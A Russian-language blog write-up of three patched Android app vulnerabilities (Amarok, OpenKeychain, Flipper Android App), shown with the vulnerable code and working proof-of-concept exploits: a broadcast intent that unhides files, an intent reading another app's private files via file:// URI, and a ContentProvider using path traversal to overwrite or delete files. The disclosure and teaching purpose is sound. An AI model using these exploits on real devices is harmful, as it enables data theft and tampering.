Три случайных уязвимости - (не)Уникальный опыт

Три случайных уязвимости


В рамках стажировки PT Start от компании Positive Technologies поучаствовал в роли спикера на интенсиве по безопасности мобильных приложений. Всего, что там происходило в паблик не раскрою, но разбор трех уязвимостей, про которые рассказывал студентам, покажу. Две из них нашел я сам, а третья просто показалась мне очень интересной по ряду причин, которые станут понятны далее.

/img/three-random-bugs/kdpv.png

Стоит сказать, что все приложения о которых пойдет речь — это проекты с открытым исходным кодом. Искать уязвимости в таких проектах одно удовольствие. Никакой тебе обфускации и прочих страданий, можно запустить отладку чтобы лучше понять как работает тот или иной кусок приложения. В общем красота. Всем рекомендую.

Amarok

/img/three-random-bugs/amarok.png

Приложение помогает скрывать файлы на устройстве, но честно заявляет что оно их именно скрывает от посторонних глаз, а не шифрует. Впрочем иногда достаточно и этой меры. Я набрел на это приложение в очередной раз листая раздел Security на F-Droid. Описание показалось мне интересным, да и сразу появились идеи что там может быть не так. Приложение получило ~1.3k звезд на гитхабе, что не выглядело как совсем никому не нужный проект, и я начал его смотреть.

У приложения есть такие настройки безопасности:

/img/three-random-bugs/amarok-security.jpg

Если пароль установлен, то при приложение будет его запрашивать при запуске и не позволит управлять видимостью файлов без этого знания:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class MainActivity extends AppCompatActivity {
	...
    @Override
    protected void onCreate(Bundle savedInstanceState) {
		...
        // Launch disguise activity if needed
        var activityLauncher = BetterActivityLauncher.registerActivityForResult(this);
        if (prefMgr.getEnableDisguise()) {
            activityLauncher.launch(new Intent(this, CalendarActivity.class), result -> {
                if (result.getResultCode() == Activity.RESULT_OK) {
                    new SecurityAuth(this, succeed -> {
                        if (succeed) init();
                        else finish();
                    }).authenticate();
                } else {
                    finish();
                }
            });
        } else {
            // Show security check fragment
            new SecurityAuth(this, succeed -> {
                if (succeed) init();
                else finish();
            }).authenticate();
        }
    }
    ...
}
...
public class SecurityAuth {
	...
    public void authenticate() {
        if (passwordAuthFragment.isAdded())
            passwordAuthFragment.dismiss();
        if (prefMgr.getAmarokPassword() != null) {
            if (prefMgr.getEnableAmarokBiometricAuth()) biometricAuthenticate();
            else passwordAuthenticate();
        } else {
            callback.onSecurityAuthCallback(true);
        }
    }
}

До версии 0.8.6a1 в нем была уязвимость, которая позволяла отключить скрытие файлов без ввода кода разблокировки. Это стало возможным благодаря отсутствию проверок в классе ActionReceiver, который определен в манифесте следующим образом:

<receiver
    android:name=".receivers.ActionReceiver"
    android:enabled="true"
    android:exported="true"
    tools:ignore="ExportedReceiver">
    <intent-filter>
        <action android:name="deltazero.amarok.HIDE" />
        <action android:name="deltazero.amarok.UNHIDE" />
    </intent-filter>
</receiver>

Здесь сразу бросаются в глаза две вещи:

  • receiver экспортирован
  • есть кастомные action-ы на которые он реагирует

Проанализируем что можно сделать с этим receiver-ом:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class ActionReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Log.i("ActionReceiver", "New action received.");
        Hider hider = new Hider(context);

        if (Boolean.TRUE.equals(Hider.isProcessing.getValue())) {
            Log.w("ActionReceiver", "Already processing. Ignore the new action.");
            return;
        }

        if (Objects.equals(intent.getAction(), "deltazero.amarok.HIDE")) {
            hider.hide();
        } else if (Objects.equals(intent.getAction(), "deltazero.amarok.UNHIDE")) {
            hider.unhide();
        } else {
            Log.w("ActionReceiver", "Invalid action: " + intent.getAction());
            Toast.makeText(context, context.getString(R.string.invalid_action, intent.getAction()),
                    Toast.LENGTH_LONG).show();
        }
    }
}

При получении intent-а от другого приложения проверяется поле action и далее объект hider выполняет скрытие или отображение файлов. Таким образом, злоумышленник может отправить такой intent из своего приложения и отключить скрытие файлов:

val intent = Intent("deltazero.amarok.UNHIDE")
intent.setPackage("deltazero.amarok.foss")
sendBroadcast(intent)

После получения отчета, разработчик написал что не уверен, будет он исправлять эту уязвимость или нет, но в итоге исправил. При этом забыв хоть как-то упомянуть меня. Но может оно и к лучшему 😃

/img/three-random-bugs/amarok-patch.png

Ссылки:

OpenKeychain

/img/three-random-bugs/openkeychain.jpg

Приложение для управления ключами OpenPGP. Встроено в некоторые сборки Android в качестве системного. Так оно собственно и попало ко мне на анализ. Это был очень интересный и сложный проект в ходе которого нужно было проанализировать защищенность одного устройства с кастомной сборкой Android. Возможно когда-нибудь я смогу рассказать эту историю полностью. А пока поговорим про OpenKeychain.

В приложении есть возможность шифрования передаваемого ему текста из других приложений. Для этого используется EncryptTextActivity, которая может работать в одном из трех режимов:

  1. Текст считывается из параметра org.sufficientlysecure.keychain.EXTRA_TEXT
  2. Текст читается из файла по URI передаваемому в параметре android.intent.extra.STREAM
  3. Текст считывается из параметров android.intent.extra.PROCESS_TEXT или android.intent.extra.PROCESS_TEXT_READONLY
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class EncryptTextActivity extends EncryptActivity {
	...

        // When sending to OpenKeychain Encrypt via share menu
        if (Intent.ACTION_SEND.equals(action) && type != null) {
            // When sending to OpenKeychain Encrypt via share menu
            if ( ! MimeUtil.isSameMimeType("text/plain", type)) {
                Toast.makeText(this, R.string.toast_wrong_mimetype, Toast.LENGTH_LONG).show();
                finish();
                return;
            }

            String sharedText;
            if (extras.containsKey(Intent.EXTRA_TEXT)) {
                sharedText = extras.getString(Intent.EXTRA_TEXT);
            } else  if (extras.containsKey(Intent.EXTRA_STREAM)) {
                try {
                    sharedText = FileHelper.readTextFromUri(this, extras.getParcelable(Intent.EXTRA_STREAM), null);
                } catch (IOException e) {
                    Toast.makeText(this, R.string.error_preparing_data, Toast.LENGTH_LONG).show();
                    finish();
                    return;
                }
            } else { ... }
            
            if (sharedText != null) {
                if (sharedText.length() > Constants.TEXT_LENGTH_LIMIT) {
                    sharedText = sharedText.substring(0, Constants.TEXT_LENGTH_LIMIT);
                    Notify.create(this, R.string.snack_shared_text_too_long, Style.WARN).show();
                }
                // handle like normal text encryption, override action and extras to later
                // executeServiceMethod ACTION_ENCRYPT_TEXT in main actions
                textData = sharedText;
            }

        }

        // Android 6, PROCESS_TEXT Intent
        if (Intent.ACTION_PROCESS_TEXT.equals(action) && type != null) {
			...
        }
        ...
    }
    ...
}

В версии 5.8.2 второй режим был уязвим из-за отсутствия проверок на URI схему file:// и проверок доступа к запрашиваемому ресурсу, в резульате чего происходило чтение файла по переданному URI. Опасность уязвимости несколько снижается из-за кода обрезающего вывод до 51200 символов(строки 27-28), но извлечь что-то полезное даже из бинарных файлов все еще возможно:

/img/three-random-bugs/openkeychain-sqlite.jpg
Эксплуатация этой уязвимости тоже довольно простая. Злоумышленнику достаточно отправить уязвимому приложению intent содержащий ссылку на любой файл из песочницы приложения и он будет прочитан и отображен в этой activity. После чего его можно будет перебросить в другое приложения через механизм шеринга:

StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);

val i = Intent(Intent.ACTION_SEND).apply {
    setClassName(
        "org.sufficientlysecure.keychain",
        "org.sufficientlysecure.keychain.ui.EncryptTextActivity"
    )
    type = "text/plain"
    putExtra(
        "android.intent.extra.STREAM", 
        Uri.parse("file:///data/user/0/org.sufficientlysecure.keychain/shared_prefs/APG.main.xml")
    )
}
startActivity(i)

Результат работы эксплойта:

/img/three-random-bugs/openkeychain-prefs.jpg

Файл выгружается в зашифрованном виде, но поскольку злоумышленник сам задает ключ шифрования, то и данные он сможет расшифровать. Так выглядит выгруженный в файл текст:

-----BEGIN PGP MESSAGE-----

jA0ECQMCJnKqvXg0IX1g0sGFAaQdp4xF083NaR39fdke354F/+jzqtBYmsfttt2L
XLzAlpIf986aHx6Czsu4UlplAlB863zwr28pny91UXHeLQ7F2aHaDDNSWWN/Y0No
8oBTqydEpuCR6LAktg14npct8YvhQ5rdjfuLDcP6zq+xbcVlZU8DA1Osjr04MFEg
ZXTV/glh7MTc/t7F6DGkkrwAryoK4KEqA/9hutrwUJnJ59kFl8N8cESX+scDEwMA
N5jN2BAzHjP8tTpL7B+dgoNYco6e9XgKBytsCFyg3tMVoiKD/6umlnJPavfxyYfv
6VuuiVFDGG+patsEa+uGSmjE9/Xnq9nT54vv+u1Nfi2fL6HJdksuO1gsE4GvUp9O
vquwPq3+K5l/2fLjFhiHuF1yDT1W+vA23mjDuf2qDwcp3jJkCVCYRqnWX46D65Ec
CVrWHA41xwNEK6O/GlDNQLltBVIlYHmZw8WCFzCRYnJ6HT3mDjXstxSiOK4JAuJr
83McTaFcDRmRTnITtgzt/anL+wRjN2Vdg8URzOD/fV+3KDjFlZsS6gg2AXbAYh85
6lbH6F+z6Kybh7iXKiqhwBXNZk+CCJV2cMPWIDE1soVZLrHicTbT7d6h0LvCo4di
kMwpzz8NpHlTvEBx6WDMG2dMVktWWORZoQT4+VXpvzQ+FDXcc6quNKATC8QM0chT
IbcGP2N88fFSu8zR5nYNOFUNF5I3rlja/PJs3W9oEqhpsJ5id/YXkY8yBfI/7eGl
fXzOeB00tPF1QRVSHhTU0F1+IJB1LRw=
=IRpZ
-----END PGP MESSAGE-----

И результат его расшифровки:

/img/three-random-bugs/openkeychain-decrypt.jpg

Разработчик исправил уязвимость, но по каким-то неведомым причинам забил болт на написание адвайзори, что не позволило получить CVE за нее.

/img/three-random-bugs/openkeychain-patch.png

Впрочем наличие исправления уже является достаточным основанием для получения иденификатора BDU, и было решено выжать из этой истории хотя бы его.

Ссылки:

Flipper Android App

/img/three-random-bugs/flipper.png

Приложение-компаньон для хакерского мультитула Flipper Zero. Давно хотел поискать в нем уязвимости, но меня опередили 😅 Впрочем никто не мешает мне сделать разбор, потому что бага вышла и правда интересная. А еще более интересно то, что она возникла в таком круто написанном софте.

В приложении есть механизм обработки диплинков, который помимо собственно диплинков еще занимается обработкой прилетающих от других приложений файлов. За обработку отвечает класс DeepLinkFileUriCopy, который создает в кэше временный файл копируя туда содержимое переданного файла и возвращает ссылку на этот файл вызывающему классу.

В версии 1.7.0 была уязвимость позволяющая любому внешнему приложения создавать или удалять произвольные файлы во внутренней директории приложения:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
class DeepLinkFileUriCopy @Inject constructor() : DeepLinkParserDelegate, LogTagProvider {
	...

    // Fallback if DeepLinkFileUriGrantPermission failed: copy from uri to tmp file
    override suspend fun fromIntent(context: Context, intent: Intent): Deeplink? {
        val uri = intent.data ?: return null

        val contentResolver = context.contentResolver

        return Deeplink.RootLevel.SaveKey.ExternalContent(
            content = buildInternalFile(
                contentResolver,
                context.cacheDir,
                uri
            )
        )
    }

    private suspend fun buildInternalFile(
        contentResolver: ContentResolver,
        cacheDir: File,
        uri: Uri
    ): DeeplinkContent? = withContext(Dispatchers.IO) {
        val filename = uri.filename(contentResolver) ?: System.currentTimeMillis().toString()
        val temporaryFile = File(cacheDir, filename)
        if (temporaryFile.exists()) {
            temporaryFile.delete()
        }
        val exception = runCatching {
            contentResolver.openInputStream(uri).use { inputStream ->
                temporaryFile.outputStream().use { outputStream ->
                    inputStream?.copyTo(outputStream)
                }
            }
        }.exceptionOrNull()
        ...
        return@withContext DeeplinkContent.InternalStorageFile(temporaryFile.absolutePath)
    }
}
...
fun Uri.filename(contentResolver: ContentResolver): String? {
    val nameFromResolver: String? = if (scheme == ContentResolver.SCHEME_CONTENT) {
        runCatching {
            contentResolver.query(this, null, null, null, null).use {
                val cursor = it ?: return@use null
                cursor.moveToFirst()
                val columnIndex = cursor.getColumnIndex(OpenableColumns.DISPLAY_NAME)
                if (columnIndex == -1) {
                    return@use null
                }
                return@use cursor.getString(columnIndex)
            }
        }.getOrNull()
    } else {
        null
    }
	...
}

Из кода видно, что для имени файла контролируемого злоумышленником не проводится санитизация, что позволяет манипулировать путем по которому сохраняется временный файл с помощью символов обхода директории. Для проведения атаки злоумышленнику нужно создать в своем приложении ContentProvider со следующим содержимым:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class AttackProvider extends ContentProvider {
    public AttackProvider() {
    }

    @Override
    public Cursor query(Uri uri, String[] projection, String selection,
                        String[] selectionArgs, String sortOrder) {
		...
        // depending whether we want to delete or write a file return something else
        if(uri.getLastPathSegment().equals("delete")) {
            cursor.addRow(new Object[]{
                    "../../../../../../../../../../data/data/com.flipperdevices.app/files/datastore/pair_settings.pb", 1337
            });
        } else {
            cursor.addRow(new Object[]{
                    "../../../../../../../../../../data/data/com.flipperdevices.app/files/datastore/hextree.io", 1337
            });
        }

        return cursor;
    }

    @Override
    public ParcelFileDescriptor openFile(Uri uri, @NonNull String mode) throws FileNotFoundException {
	    ...
    }
	...
}

Метод query срабатывает когда приложение пытается отрезолвить имя файла через uri.filename(contentResolver), а позднее, когда вызывается contentResolver.openInputStream(uri) стабатывает метод openFile и возвращает и предоставляет данные для перезаписи.

Для запуска цепочки эксплуатации нужно отправить такой intent в приложение Flipper-а:

Intent intent = new Intent();
intent.setClassName("com.flipperdevices.app", "com.flipperdevices.singleactivity.impl.SingleActivity");
intent.setAction(Intent.ACTION_SEND);
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.setDataAndType(Uri.parse("content://io.hextree.flipperdown.provider/write"),"text/*");
intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://io.hextree.flipperdown.provider/xxx"));
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(intent);

В результате срабатывания эксплойта, файл настроек pair_settings.pb будет удален, а вместо него появится файл hextree.io

/img/three-random-bugs/flipper-exploit1.png
/img/three-random-bugs/flipper-exploit2.png

Уязвимость была довольно оперативно запатчена:

/img/three-random-bugs/flipper-patch.png

Мне понравился комментарий разработчика приложения по поводу этой уязвимости в одном из приватных чатов:

Мудрость дня: проверяйте несколько раз данные, получаемые в интентах и contentproviders Почему-то был уверен что я-то на это не попадусь, а вот попался

Ни добавить ни убавить, как говорится 😀

Ссылки:


Смотрите также